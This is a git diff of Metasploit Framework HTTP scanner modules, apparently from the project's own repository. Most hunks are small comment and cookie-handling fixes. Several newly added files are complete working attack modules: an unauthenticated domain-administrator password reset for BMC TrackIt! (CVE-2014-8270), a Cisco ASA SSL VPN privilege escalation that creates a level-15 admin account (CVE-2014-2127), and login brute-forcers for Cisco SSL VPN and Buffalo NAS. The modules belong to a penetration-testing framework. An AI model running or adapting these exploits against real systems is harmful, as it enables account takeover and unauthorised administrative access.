b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb index 20e82d81d6..1f2932200a 100644 --- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index e5c807f9c2..21e93ce9b1 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/blind_sql_query.rb b/modules/auxiliary/scanner/http/blind_sql_query.rb index a36f6ab465..4903073c2a 100644 --- a/modules/auxiliary/scanner/http/blind_sql_query.rb +++ b/modules/auxiliary/scanner/http/blind_sql_query.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb new file mode 100644 index 0000000000..26dd1310e3 --- /dev/null +++ b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb @@ -0,0 +1,182 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change', + 'Description' => %q( + This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3 + and possibly prior versions. If the password reset service is configured to use + a domain administrator (which is the recommended configuration), then domain + credentials can be reset (such as domain Administrator). + ), + 'References' => + [ + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-419/'], + ['CVE', '2014-8270'] + ], + 'Author' => + [ + 'bperry', # discovery/metasploit module, + 'jhart' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Dec 9 2014" + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']), + OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']), + OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']), + OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', '']) + ], self.class) + end + + def localuser + datastore['LOCALUSER'] + end + + def password_reset + begin + uri = normalize_uri(target_uri.path, 'PasswordReset') + send_request_cgi('uri' => uri) + rescue => e + vprint_error("#{peer}: unable to request #{uri}: #{e}") + nil + end + end + + def check_host(ip) + vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version") + + unless (res = password_reset) + return + end + + if res.body =~ /<title>Track-It! Password Reset/i + version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first + if version + fix_version = '11.4' + if Gem::Version.new(version) < Gem::Version.new(fix_version) + report_vuln( + host: ip, + port: rport, + name: name, + info: "Module #{fullname} detected Track-It! version #{version}", + refs: references + ) + vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}") + return Exploit::CheckCode::Vulnerable + else + vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}") + return Exploit::CheckCode::Safe + end + else + vprint_error("#{peer}: unable to get Track-It! version") + return Exploit::CheckCode::Unknown + end + else + vprint_status("#{peer}: does not appear to be running Track-It!") + return Exploit::CheckCode::Safe + end + end + + def run_host(ip) + return unless check_host(ip) == Exploit::CheckCode::Vulnerable + + if datastore['DOMAIN'].blank? + vprint_status("#{peer}: retrieving session cookie and domain name") + else + vprint_status("#{peer}: retrieving domain name") + end + + unless (res = password_reset) + return + end + + cookies = res.get_cookies + if datastore['DOMAIN'].blank? + if res.body =~ /"domainName":"([^"]*)"/ + domain = Regexp.last_match(1) + vprint_status("#{peer}: found domain name: #{domain}") + else + print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN") + return + end + else + domain = datastore['DOMAIN'] + end + + full_user = "#{domain}\\#{localuser}" + vprint_status("#{peer}: registering #{full_user}") + answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ] + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'), + 'method' => 'POST', + 'cookie' => cookies, + 'vars_post' => { + 'domainname' => domain, + 'userName' => localuser, + 'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com', + 'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]), + 'updatequesChk' => 'false', + 'SelectedQuestion' => 1, + 'SelectedQuestion' => 2, + 'answer' => answers.first, + 'answer' => answers.last, + 'confirmanswer' => answers.first, + 'confirmanswer' => answers.last + } + ) + + if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}" + print_error("#{peer}: Could not register #{full_user}") + return + end + + vprint_status("#{peer}: changing password for #{full_user}") + + if datastore['LOCALPASS'].blank? + password = Rex::Text.rand_text_alpha(10) + "!1" + else + password = datastore['LOCALPASS'] + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'), + 'method' => 'POST', + 'cookie' => cookies, + 'vars_post' => { + 'newPassword' => password, + 'domain' => domain, + 'UserName' => localuser, + 'CkbResetpassword' => 'true' + } + ) + + if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}' + print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?") + return + end + + report_vuln( + host: ip, + port: rport, + name: name, + info: "Module #{fullname} changed #{full_user}'s password to #{password}", + refs: references + ) + print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}") + end +end diff --git a/modules/auxiliary/scanner/http/brute_dirs.rb b/modules/auxiliary/scanner/http/brute_dirs.rb index 309adab612..5ffdf2bbdf 100644 --- a/modules/auxiliary/scanner/http/brute_dirs.rb +++ b/modules/auxiliary/scanner/http/brute_dirs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/buffalo_login.rb b/modules/auxiliary/scanner/http/buffalo_login.rb new file mode 100644 index 0000000000..090ac07bc1 --- /dev/null +++ b/modules/auxiliary/scanner/http/buffalo_login.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/buffalo' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Buffalo NAS Login Utility', + 'Description' => %q{ + This module simply attempts to login to a Buffalo NAS instance using a specific + username and password. It has been confirmed to work on version 1.68 + }, + 'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + + deregister_options('RHOST') + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + scanner = Metasploit::Framework::LoginScanner::Buffalo.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + end + end + end +end diff --git a/modules/auxiliary/scanner/http/canon_wireless.rb b/modules/auxiliary/scanner/http/canon_wireless.rb index e5bb1da049..b9e1cdbf7b 100644 --- a/modules/auxiliary/scanner/http/canon_wireless.rb +++ b/modules/auxiliary/scanner/http/canon_wireless.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb index 3a6b5d6d5d..972508d923 100644 --- a/modules/auxiliary/scanner/http/cert.rb +++ b/modules/auxiliary/scanner/http/cert.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(443), - OptString.new('ISSUER', [ true, "Show a warning if the Issuer doesn't match this regex", '.*']), + OptRegexp.new('ISSUER', [ true, "Show a warning if the Issuer doesn't match this regex", '.*']), OptBool.new('SHOWALL', [ false, "Show all certificates (issuer,time) regardless of match", false]), ], self.class) end diff --git a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb index 4cd4492430..a5ea996e81 100644 --- a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb +++ b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary if res && res.code == 200 && - res.headers['Set-Cookie'].match(/webvpn/) + res.get_cookies.include?('webvpn') return true else @@ -135,4 +135,4 @@ class Metasploit3 < Msf::Auxiliary return :abort end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index a191ae5e3e..55d0033399 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb index 3e7b03914f..0f45294816 100644 --- a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index 6d58cb1cae..e847117c01 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -77,15 +77,15 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET' }) - if (res and res.headers['Set-Cookie']) + if res && res.get_cookies - cookie = res.headers['Set-Cookie'].split('; ')[0] + cookie = res.get_cookies res = send_request_cgi( { 'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm", 'method' => 'GET', - 'cookie' => '#{cookie}' + 'cookie' => cookie }) if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS')) @@ -135,7 +135,7 @@ class Metasploit3 < Msf::Auxiliary } }) - if (res and res.headers['Set-Cookie'].include?('authenticated=')) + if res and res.get_cookies.include?('authenticated=') print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") report_hash = { diff --git a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb index 248d2c4869..f2e97def59 100644 --- a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,8 +22,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2011-3305' ], [ 'OSVDB', '76080'], - [ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20111005-nac.shtml' ], - [ 'URL', 'http://dev.metasploit.com/redmine/issues/5673' ] + [ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20111005-nac.shtml' ] ], 'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ], 'License' => MSF_LICENSE diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb new file mode 100644 index 0000000000..415bb3e299 --- /dev/null +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb @@ -0,0 +1,227 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Cisco SSL VPN Bruteforce Login Utility', + 'Description' => %{ + This module scans for Cisco SSL VPN web login portals and + performs login brute force to identify valid credentials. + }, + 'Author' => + [ + 'Jonathan Claudius <jclaudius[at]trustwave.com>' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => true, + 'USERNAME' => 'cisco', + 'PASSWORD' => 'cisco' + } + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('GROUP', [false, "A specific VPN group to use", '']) + ], self.class) + end + + def run_host(ip) + unless check_conn? + vprint_error("#{peer} - Connection failed, Aborting...") + return false + end + + unless is_app_ssl_vpn? + vprint_error("#{peer} - Application does not appear to be Cisco SSL VPN. Module will not continue.") + return false + end + + vprint_good("#{peer} - Application appears to be Cisco SSL VPN. Module will continue.") + + groups = Set.new + if datastore['GROUP'].empty? + vprint_status("#{peer} - Attempt to Enumerate VPN Groups...") + groups = enumerate_vpn_groups + + if groups.empty? + vprint_warning("#{peer} - Unable to enumerate groups") + vprint_warning("#{peer} - Using the default group: DefaultWEBVPNGroup") + groups << "DefaultWEBVPNGroup" + else + vprint_good("#{peer} - Enumerated VPN Groups: #{groups.to_a.join(", ")}") + end + + else + groups << datastore['GROUP'] + end + groups << "" + + vprint_status("#{peer} - Starting login brute force...") + groups.each do |group| + each_user_pass do |user, pass| + do_login(user, pass, group) + end + end + end + + # Verify whether the connection is working or not + def check_conn? + begin + res = send_request_cgi('uri' => '/', 'method' => 'GET') + vprint_good("#{peer} - Server is responsive...") + rescue ::Rex::ConnectionRefused, + ::Rex::HostUnreachable, + ::Rex::ConnectionTimeout, + ::Rex::ConnectionError, + ::Errno::EPIPE + return + end + end + + def enumerate_vpn_groups + res = send_request_cgi( + 'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET', + ) + + if res && + res.code == 302 + + res = send_request_cgi( + 'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET', + 'vars_get' => { 'fcadbadd' => "1" } + ) + end + + groups = Set.new + group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/ + + if res && + match = res.body.match(group_name_regex) + + group_string = match[1] + groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set + end + + return groups + end + + # Verify whether we're working with SSL VPN or not + def is_app_ssl_vpn? + res = send_request_cgi( + 'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET', + ) + + if res && + res.code == 302 + + res = send_request_cgi( + 'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET', + 'vars_get' => { 'fcadbadd' => "1" } + ) + end + + if res && + res.code == 200 && + res.body.match(/webvpnlogin/) + + return true + else + return false + end + end + + def do_logout(cookie) + res = send_request_cgi( + 'uri' => '/+webvpn+/webvpn_logout.html', + 'method' => 'GET', + 'cookie' => cookie + ) + end + + # Brute-force the login page + def do_login(user, pass, group) + vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}") + + begin + cookie = "webvpn=; " + + "webvpnc=; " + + "webvpn_portal=; " + + "webvpnSharePoint=; " + + "webvpnlogin=1; " + + "webvpnLang=en;" + + post_params = { + 'tgroup' => '', + 'next' => '', + 'tgcookieset' => '', + 'username' => user, + 'password' => pass, + 'Login' => 'Logon' + } + + post_params['group_list'] = group unless group.empty? + + resp = send_request_cgi( + 'uri' => '/+webvpn+/index.html', + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'cookie' => cookie, + 'vars_post' => post_params + ) + + if resp && + resp.code == 200 && + resp.body.match(/SSL VPN Service/) && + resp.body.match(/webvpn_logout/i) + + print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}") + + do_logout(resp.get_cookies) + + report_hash = { + :host => rhost, + :port => rport, + :sname => 'Cisco SSL VPN', + :user => user, + :pass => pass, + :group => group, + :active => true, + :type => 'password' + } + + report_auth_info(report_hash) + return :next_user + + else + vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}") + end + + rescue ::Rex::ConnectionRefused, + ::Rex::HostUnreachable, + ::Rex::ConnectionTimeout, + ::Rex::ConnectionError, + ::Errno::EPIPE + vprint_error("#{peer} - HTTP Connection Failed, Aborting") + return :abort + end + end +end diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb new file mode 100644 index 0000000000..f5b72fe5ce --- /dev/null +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb @@ -0,0 +1,278 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability', + 'Description' => %q{ + This module exploits a privilege escalation vulnerability for Cisco + ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to + level 15. + }, + 'Author' => + [ + 'jclaudius <jclaudius[at]trustwave.com>', + 'lguay <laura.r.guay[at]gmail.com' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-2127'], + ['URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa'], + ['URL', 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt'] + ], + 'DisclosureDate' => 'Apr 09 2014' + )) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), + OptString.new('USERNAME', [true, "A specific username to authenticate as", 'clientless']), + OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'clientless']), + OptString.new('GROUP', [true, "A specific VPN group to use", 'clientless']), + OptInt.new('RETRIES', [true, 'The number of exploit attempts to make', 10]) + ], self.class + ) + + end + + def validate_cisco_ssl_vpn + begin + res = send_request_cgi( + 'uri' => '/', + 'method' => 'GET' + ) + + vprint_good("#{peer} - Server is responsive") + rescue ::Rex::ConnectionError, ::Errno::EPIPE + return false + end + + res = send_request_cgi( + 'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET' + ) + + if res && + res.code == 302 + + res = send_request_cgi( + 'uri' => '/+CSCOE+/logon.html', + 'method' => 'GET', + 'vars_get' => { 'fcadbadd' => "1" } + ) + end + + if res && + res.code == 200 && + res.body.include?('webvpnlogin') + return true + else + return false + end + end + + def do_logout(cookie) + res = send_request_cgi( + 'uri' => '/+webvpn+/webvpn_logout.html', + 'method' => 'GET', + 'cookie' => cookie + ) + + if res && + res.code == 200 + vprint_good("#{peer} - Logged out") + end + end + + def run_command(cmd, cookie) + reformatted_cmd = cmd.gsub(/ /, "+") + + res = send_request_cgi( + 'uri' => "/admin/exec/#{reformatted_cmd}", + 'method' => 'GET', + 'cookie' => cookie + ) + + res + end + + def do_show_version(cookie, tries = 3) + # Make up to three attempts because server can be a little flaky + tries.times do |i| + command = "show version" + resp = run_command(command, cookie) + + if resp && + resp.body.include?('Cisco Adaptive Security Appliance Software Version') + return resp.body + else + vprint_error("#{peer} - Unable to run '#{command}'") + vprint_good("#{peer} - Retrying #{i} '#{command}'") unless i == 2 + end + end + + return nil + end + + def add_user(cookie, tries = 3) + username = Rex::Text.rand_text_alpha_lower(8) + password = Rex::Text.rand_text_alphanumeric(20) + + tries.times do |i| + vprint_good("#{peer} - Attemping to add User: #{username}, Pass: #{password}") + command = "username #{username} password #{password} privilege 15" + resp = run_command(command, cookie) + + if resp && + !resp.body.include?('Command authorization failed') && + !resp.body.include?('Command failed') + vprint_good("#{peer} - Privilege Escalation Appeared Successful") + return [username, password] + else + vprint_error("#{peer} - Unable to run '#{command}'") + vprint_good("#{peer} - Retrying #{i} '#{command}'") unless i == tries - 1 + end + end + + return nil + end + + def do_login(user, pass, group) + begin + cookie = "webvpn=; " + + "webvpnc=; " + + "webvpn_portal=; " + + "webvpnSharePoint=; " + + "webvpnlogin=1; " + + "webvpnLang=en;" + + post_params = { + 'tgroup' => '', + 'next' => '', + 'tgcookieset' => '', + 'username' => user, + 'password' => pass, + 'Login' => 'Logon' + } + + post_params['group_list'] = group unless group.empty? + + resp = send_request_cgi( + 'uri' => '/+webvpn+/index.html', + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'cookie' => cookie, + 'vars_post' => post_params + ) + + if resp && + resp.code == 200 && + resp.body.include?('SSL VPN Service') && + resp.body.include?('webvpn_logout') + + vprint_good("#{peer} - Logged in with User: #{datastore['USERNAME']}, Pass: #{datastore['PASSWORD']} and Group: #{datastore['GROUP']}") + return resp.get_cookies + else + return false + end + + rescue ::Rex::ConnectionError, ::Errno::EPIPE + return false + end + end + + def run_host(ip) + # Validate we're dealing with Cisco SSL VPN + unless validate_cisco_ssl_vpn + vprint_error("#{peer} - Does not appear to be Cisco SSL VPN") + return + end + + # This is crude, but I've found this to be somewhat + # interimittent based on session, so we'll just retry + # 'X' times. + datastore['RETRIES'].times do |i| + vprint_good("#{peer} - Exploit Attempt ##{i}") + + # Authenticate to SSL VPN and get session cookie + cookie = do_login( + datastore['USERNAME'], + datastore['PASSWORD'], + datastore['GROUP'] + ) + + # See if our authentication attempt failed + unless cookie + vprint_error("#{peer} - Failed to login to Cisco SSL VPN") + next + end + + # Grab version + version = do_show_version(cookie) + + if version && + version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/) + print_good("#{peer} - Show version succeeded. Version is Cisco ASA #{version_match[1]}") + else + do_logout(cookie) + vprint_error("#{peer} - Show version failed") + next + end + + # Attempt to add an admin user + creds = add_user(cookie) + do_logout(cookie) + + if creds + print_good("#{peer} - Successfully added level 15 account #{creds.join(", ")}") + user, pass = creds + report_escalated_creds(user, pass) + else + vprint_error("#{peer} - Failed to created user account on Cisco SSL VPN") + end + end + end + + def report_escalated_creds(username, password) + status = Metasploit::Model::Login::Status::SUCCESSFUL + + service_data = { + address: rhost, + port: rport, + service_name: 'https', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: password, + username: username + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: 'Level 15', + status: status, + last_attempted_at: DateTime.now + } + login_data.merge!(service_data) + create_credential_login(login_data) + end + +end diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index 4ea36333bb..a351f737aa 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/cold_fusion_version.rb b/modules/auxiliary/scanner/http/cold_fusion_version.rb index f912012838..b27972d810 100644 --- a/modules/auxiliary/scanner/http/cold_fusion_version.rb +++ b/modules/auxiliary/scanner/http/cold_fusion_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index 1ac36773d4..48c7704cf7 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -188,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary end else next if (res.code == 500 or res.code == 404 or res.code == 302) - print_error("#{ip} #{res.inspect}") + print_error("#{ip} #{res.to_s}") end end diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index a9f78a8601..6a89017a01 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/copy_of_file.rb b/modules/auxiliary/scanner/http/copy_of_file.rb index d8c915bf0b..27d2ea545c 100644 --- a/modules/auxiliary/scanner/http/copy_of_file.rb +++ b/modules/auxiliary/scanner/http/copy_of_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/crawler.rb b/modules/auxiliary/scanner/http/crawler.rb index 344cf57458..ac9ac083f0 100644 --- a/modules/auxiliary/scanner/http/crawler.rb +++ b/modules/auxiliary/scanner/http/crawler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -104,8 +104,8 @@ class Metasploit3 < Msf::Auxiliary info[:ctype] = page.headers['content-type'] end - if page.headers['set-cookie'] - info[:cookie] = page.headers['set-cookie'] + if !page.cookies.empty? + info[:cookie] = page.cookies end if page.headers['authorization'] diff --git a/modules/auxiliary/scanner/http/dell_idrac.rb b/modules/auxiliary/scanner/http/dell_idrac.rb index c915ab9145..71a0cc9d8d 100644 --- a/modules/auxiliary/scanner/http/dell_idrac.rb +++ b/modules/auxiliary/scanner/http/dell_idrac.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dir_listing.rb b/modules/auxiliary/scanner/http/dir_listing.rb index 45dea52ffb..b759eb9fc3 100644 --- a/modules/auxiliary/scanner/http/dir_listing.rb +++ b/modules/auxiliary/scanner/http/dir_listing.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dir_scanner.rb b/modules/auxiliary/scanner/http/dir_scanner.rb index 23f28112cb..4c2263dba7 100644 --- a/modules/auxiliary/scanner/http/dir_scanner.rb +++ b/modules/auxiliary/scanner/http/dir_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb 